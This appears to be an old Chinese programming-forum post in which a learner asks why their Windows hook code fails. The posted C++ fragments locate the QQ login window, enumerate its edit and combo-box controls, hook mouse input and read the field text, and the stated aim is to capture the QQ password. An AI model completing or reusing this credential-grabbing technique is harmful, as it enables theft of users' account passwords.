救命,钩子问题
ppyy 2001-11-13 08:58:33 我最近在学习HOOK,并且写了一个程序来练习,这个程序就是在WIN2000下获取QQ登录时候的密码框里的内容。。。。
我首先在我的程序里把一个DLL作为一个线程运行,然后在这个DLL线程里安装HOOK,具体几段代码如下:
HWND he,hc,h;
char szBuf[1024];
char *number,*password;
HHOOK OICQHOOK;
h=::FindWindow(NULL,"QQ用户登录");
if (h!=0)
{
::EnumChildWindows(h, (WNDENUMPROC)EnumProc,NULL);
OICQHOOK=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("test.dll"),GetWindowThreadProcessId(h,NULL));
MessageBox(NULL,"password",number,MB_ICONINFORMATION);
LRESULT WINAPI MouseProc(int nCode,WPARAM wParam,LPARAM lParam)
{
SendMessage(hc,WM_GETTEXT,1024,(long)szBuf);
number=szBuf;
return CallNextHookEx(OICQHOOK,nCode,wParam,lParam);
}
LRESULT CALLBACK EnumProc(HWND H,LPVOID Info)
{
char szClassName[256];;
::GetClassName(H,szClassName,255);
if(stricmp("EDIT", szClassName) == 0)
{
he=H;
}
else if(stricmp("COMBOBOX", szClassName) == 0)
{
hc=H;
}
return 1;
}
程序按照我的设想应该是弹出一个对话框,对话框的标题应该是QQ的号码。但是现在弹出的对话框的标题是“错误”。
难道我不应该把HOOK写在线程里?书上说监视一个指定的线程可以不必把HOOK做成全局钩子,我现在只要监视指定的OICQ登录窗口,所以一起写在这个线程里了。
不知道是什么地方出错了,请指点
本来应该是程序运行后,弹出一个对话框